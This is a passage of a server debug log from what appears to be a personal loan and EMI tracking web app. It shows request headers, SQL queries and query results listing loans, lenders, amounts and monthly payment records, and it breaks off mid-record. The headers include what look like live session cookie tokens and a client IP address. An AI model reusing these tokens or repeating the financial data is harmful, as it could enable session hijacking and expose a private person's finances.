    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/emis',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AmPTJJ9wH7jSwA6VkGULYjg%3D%3D.s9Du08%2FDou9aXDwi1YFCIZGI514DNsA0aKB06T6dI6F28Asb4yF4yz0jM5Aly6FeE1eMd%2FDVGIPB3%2B7WWUZZGp276bAyyT2BzwNcPuZcH5esMty5RFzyml%2Fwbxc17Ex3JKZU00DOpHA69gEF4H964tA07J12UO%2BOpwmp2iy%2F8as%3D.2k2dmtDYZA%2FT008a9q9ulXJCKaxxG1Jaz0jWWjAuCfw; your_r_git.sid=s%3Ab-Mlzwdi_M9ZcEnM_2ocj_NXU08Jxk8j.HKjWdsYJoQF9jV2z1uK7OLEeYaLcJLYy2qixTgG20QM',
    'HTTP_X_FORWARDED-FOR': '49.43.183.113',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-06-07T05:06:05.806Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-06-07T05:06:05.807Z server-connect:app Executing action step identify
2026-06-07T05:06:05.807Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:05.807Z server-connect:output identity: 1
2026-06-07T05:06:05.807Z server-connect:app Executing action step restrict
2026-06-07T05:06:05.807Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:06:05.808Z server-connect:output restrict: undefined
2026-06-07T05:06:05.808Z server-connect:app Executing action step custom
2026-06-07T05:06:05.808Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-06-07T05:06:05.812Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '12',
    total_remaining_amount: 180168,
    total_paid_amount: 720672,
    percentage_paid: '80.00'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '3',
    total_remaining_amount: 54729,
    total_paid_amount: 602019,
    percentage_paid: '91.67'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'SMFG Credit India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '22',
    total_remaining_amount: 508398,
    total_paid_amount: 878142,
    percentage_paid: '63.33'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '9',
    total_remaining_amount: 198279,
    total_paid_amount: 859209,
    percentage_paid: '81.25'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '3',
    total_remaining_amount: 16008,
    total_paid_amount: 176088,
    percentage_paid: '91.67'
  }
]
2026-06-07T05:06:07.742Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-06-07T05:06:07.745Z server-connect:app Executing action step identify
2026-06-07T05:06:07.745Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:07.745Z server-connect:output identity: 1
2026-06-07T05:06:07.745Z server-connect:app Executing action step restrict
2026-06-07T05:06:07.745Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:06:07.746Z server-connect:output restrict: undefined
2026-06-07T05:06:07.746Z server-connect:app Executing action step select
2026-06-07T05:06:07.746Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-06-07T05:06:07.748Z server-connect:output list: [
  {
    id: 52,
    loan_id: 9,
    due_date: '2022-06-07T18:30:00.000Z',
    paid_on: '2022-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 53,
    loan_id: 9,
    due_date: '2022-07-07T18:30:00.000Z',
    paid_on: '2022-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 54,
    loan_id: 9,
    due_date: '2022-08-07T18:30:00.000Z',
    paid_on: '2022-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 55,
    loan_id: 9,
    due_date: '2022-09-07T18:30:00.000Z',
    paid_on: '2022-09-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 56,
    loan_id: 9,
    due_date: '2022-10-07T18:30:00.000Z',
    paid_on: '2022-10-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 57,
    loan_id: 9,
    due_date: '2022-11-07T18:30:00.000Z',
    paid_on: '2022-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 58,
    loan_id: 9,
    due_date: '2022-12-07T18:30:00.000Z',
    paid_on: '2022-12-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 59,
    loan_id: 9,
    due_date: '2023-01-07T18:30:00.000Z',
    paid_on: '2023-01-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 60,
    loan_id: 9,
    due_date: '2023-02-07T18:30:00.000Z',
    paid_on: '2023-02-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 61,
    loan_id: 9,
    due_date: '2023-03-07T18:30:00.000Z',
    paid_on: '2023-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 62,
    loan_id: 9,
    due_date: '2023-04-07T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 63,
    loan_id: 9,
    due_date: '2023-05-07T18:30:00.000Z',
    paid_on: '2023-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 64,
    loan_id: 9,
    due_date: '2023-06-07T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 65,
    loan_id: 9,
    due_date: '2023-07-07T18:30:00.000Z',
    paid_on: '2023-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 66,
    loan_id: 9,
    due_date: '2023-08-07T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 67,
    loan_id: 9,
    due_date: '2023-09-07T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 68,
    loan_id: 9,
    due_date: '2023-10-07T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 69,
    loan_id: 9,
    due_date: '2023-11-07T18:30:00.000Z',
    paid_on: '2023-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 70,
    loan_id: 9,
    due_date: '2023-12-07T18:30:00.000Z',
    paid_on: '2023-12-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 71,
    loan_id: 9,
    due_date: '2024-01-07T18:30:00.000Z',
    paid_on: '2024-01-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 72,
    loan_id: 9,
    due_date: '2024-02-07T18:30:00.000Z',
    paid_on: '2024-02-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 73,
    loan_id: 9,
    due_date: '2024-03-07T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 74,
    loan_id: 9,
    due_date: '2024-04-07T18:30:00.000Z',
    paid_on: '2024-04-02T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 75,
    loan_id: 9,
    due_date: '2024-05-07T18:30:00.000Z',
    paid_on: '2024-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 76,
    loan_id: 9,
    due_date: '2024-06-07T18:30:00.000Z',
    paid_on: '2024-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 77,
    loan_id: 9,
    due_date: '2024-07-07T18:30:00.000Z',
    paid_on: '2024-07-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 78,
    loan_id: 9,
    due_date: '2024-08-07T18:30:00.000Z',
    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 79,
    loan_id: 9,
    due_date: '2024-09-07T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 80,
    loan_id: 9,
    due_date: '2024-10-07T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 81,
    loan_id: 9,
    due_date: '2024-11-07T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 82,
    loan_id: 9,
    due_date: '2024-12-07T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 83,
    loan_id: 9,
    due_date: '2025-01-07T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 84,
    loan_id: 9,
    due_date: '2025-02-07T18:30:00.000Z',
    paid_on: '2025-02-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 85,
    loan_id: 9,
    due_date: '2025-03-07T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 86,
    loan_id: 9,
    due_date: '2025-04-07T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 87,
    loan_id: 9,
    due_date: '2025-05-07T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 88,
    loan_id: 9,
    due_date: '2025-06-07T18:30:00.000Z',
    paid_on: '2025-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 89,
    loan_id: 9,
    due_date: '2025-07-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 90,
    loan_id: 9,
    due_date: '2025-08-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 91,
    loan_id: 9,
    due_date: '2025-09-07T18:30:00.000Z',
    paid_on: '2025-09-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 92,
    loan_id: 9,
    due_date: '2025-10-07T18:30:00.000Z',
    paid_on: '2025-10-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 93,
    loan_id: 9,
    due_date: '2025-11-07T18:30:00.000Z',
    paid_on: '2025-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 94,
    loan_id: 9,
    due_date: '2025-12-07T18:30:00.000Z',
    paid_on: '2025-12-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 95,
    loan_id: 9,
    due_date: '2026-01-07T18:30:00.000Z',
    paid_on: '2026-01-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 96,
    loan_id: 9,
    due_date: '2026-02-07T18:30:00.000Z',
    paid_on: '2026-02-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 97,
    loan_id: 9,
    due_date: '2026-03-07T18:30:00.000Z',
    paid_on: '2026-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 98,
    loan_id: 9,
    due_date: '2026-04-07T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 99,
    loan_id: 9,
    due_date: '2026-05-07T18:30:00.000Z',
    paid_on: '2026-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 100,
    loan_id: 9,
    due_date: '2026-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 101,
    loan_id: 9,
    due_date: '2026-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 102,
    loan_id: 9,
    due_date: '2026-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 103,
    loan_id: 9,
    due_date: '2026-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 104,
    loan_id: 9,
    due_date: '2026-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 105,
    loan_id: 9,
    due_date: '2026-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 106,
    loan_id: 9,
    due_date: '2026-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 107,
    loan_id: 9,
    due_date: '2027-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 108,
    loan_id: 9,
    due_date: '2027-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 109,
    loan_id: 9,
    due_date: '2027-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 110,
    loan_id: 9,
    due_date: '2027-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 111,
    loan_id: 9,
    due_date: '2027-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  }
]
2026-06-07T05:06:14.888Z server-connect:router Serving serverConnect /api/emis/mark-emi-paid
2026-06-07T05:06:14.889Z server-connect:app Executing action step identify
2026-06-07T05:06:14.889Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:14.890Z server-connect:output identity: 1
2026-06-07T05:06:14.890Z server-connect:app Executing action step restrict
2026-06-07T05:06:14.890Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:06:14.890Z server-connect:output restrict: undefined
2026-06-07T05:06:14.890Z server-connect:app Executing action step update
2026-06-07T05:06:14.891Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'loan_details',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `loan_details` set `paid_on` = ?, `status` = ? where `id` = ? and `loan_id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-06-07T05:06:14.895Z server-connect:output update: { affected: 1 }
2026-06-07T05:06:15.073Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-06-07T05:06:15.073Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-06-07T05:06:15.074Z server-connect:app Executing action step identify
2026-06-07T05:06:15.074Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:15.074Z server-connect:output identity: 1
2026-06-07T05:06:15.074Z server-connect:app Executing action step restrict
2026-06-07T05:06:15.074Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:06:15.075Z server-connect:app Executing action step identify
2026-06-07T05:06:15.075Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:15.075Z server-connect:output identity: 1
2026-06-07T05:06:15.075Z server-connect:app Executing action step restrict
2026-06-07T05:06:15.075Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:06:15.076Z server-connect:output restrict: undefined
2026-06-07T05:06:15.076Z server-connect:app Executing action step select
2026-06-07T05:06:15.076Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-06-07T05:06:15.076Z server-connect:output restrict: undefined
2026-06-07T05:06:15.076Z server-connect:app Executing action step custom
2026-06-07T05:06:15.077Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-06-07T05:06:15.078Z server-connect:output list: [
  {
    id: 52,
    loan_id: 9,
    due_date: '2022-06-07T18:30:00.000Z',
    paid_on: '2022-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 53,
    loan_id: 9,
    due_date: '2022-07-07T18:30:00.000Z',
    paid_on: '2022-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 54,
    loan_id: 9,
    due_date: '2022-08-07T18:30:00.000Z',
    paid_on: '2022-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 55,
    loan_id: 9,
    due_date: '2022-09-07T18:30:00.000Z',
    paid_on: '2022-09-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 56,
    loan_id: 9,
    due_date: '2022-10-07T18:30:00.000Z',
    paid_on: '2022-10-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 57,
    loan_id: 9,
    due_date: '2022-11-07T18:30:00.000Z',
    paid_on: '2022-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 58,
    loan_id: 9,
    due_date: '2022-12-07T18:30:00.000Z',
    paid_on: '2022-12-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 59,
    loan_id: 9,
    due_date: '2023-01-07T18:30:00.000Z',
    paid_on: '2023-01-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 60,
    loan_id: 9,
    due_date: '2023-02-07T18:30:00.000Z',
    paid_on: '2023-02-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 61,
    loan_id: 9,
    due_date: '2023-03-07T18:30:00.000Z',
    paid_on: '2023-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 62,
    loan_id: 9,
    due_date: '2023-04-07T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 63,
    loan_id: 9,
    due_date: '2023-05-07T18:30:00.000Z',
    paid_on: '2023-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 64,
    loan_id: 9,
    due_date: '2023-06-07T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 65,
    loan_id: 9,
    due_date: '2023-07-07T18:30:00.000Z',
    paid_on: '2023-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 66,
    loan_id: 9,
    due_date: '2023-08-07T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 67,
    loan_id: 9,
    due_date: '2023-09-07T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 68,
    loan_id: 9,
    due_date: '2023-10-07T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 69,
    loan_id: 9,
    due_date: '2023-11-07T18:30:00.000Z',
    paid_on: '2023-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 70,
    loan_id: 9,
    due_date: '2023-12-07T18:30:00.000Z',
    paid_on: '2023-12-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 71,
    loan_id: 9,
    due_date: '2024-01-07T18:30:00.000Z',
    paid_on: '2024-01-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 72,
    loan_id: 9,
    due_date: '2024-02-07T18:30:00.000Z',
    paid_on: '2024-02-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 73,
    loan_id: 9,
    due_date: '2024-03-07T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 74,
    loan_id: 9,
    due_date: '2024-04-07T18:30:00.000Z',
    paid_on: '2024-04-02T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 75,
    loan_id: 9,
    due_date: '2024-05-07T18:30:00.000Z',
    paid_on: '2024-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 76,
    loan_id: 9,
    due_date: '2024-06-07T18:30:00.000Z',
    paid_on: '2024-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 77,
    loan_id: 9,
    due_date: '2024-07-07T18:30:00.000Z',
    paid_on: '2024-07-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 78,
    loan_id: 9,
    due_date: '2024-08-07T18:30:00.000Z',
    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 79,
    loan_id: 9,
    due_date: '2024-09-07T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 80,
    loan_id: 9,
    due_date: '2024-10-07T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 81,
    loan_id: 9,
    due_date: '2024-11-07T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 82,
    loan_id: 9,
    due_date: '2024-12-07T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 83,
    loan_id: 9,
    due_date: '2025-01-07T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 84,
    loan_id: 9,
    due_date: '2025-02-07T18:30:00.000Z',
    paid_on: '2025-02-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 85,
    loan_id: 9,
    due_date: '2025-03-07T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 86,
    loan_id: 9,
    due_date: '2025-04-07T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 87,
    loan_id: 9,
    due_date: '2025-05-07T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 88,
    loan_id: 9,
    due_date: '2025-06-07T18:30:00.000Z',
    paid_on: '2025-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 89,
    loan_id: 9,
    due_date: '2025-07-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 90,
    loan_id: 9,
    due_date: '2025-08-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 91,
    loan_id: 9,
    due_date: '2025-09-07T18:30:00.000Z',
    paid_on: '2025-09-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 92,
    loan_id: 9,
    due_date: '2025-10-07T18:30:00.000Z',
    paid_on: '2025-10-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 93,
    loan_id: 9,
    due_date: '2025-11-07T18:30:00.000Z',
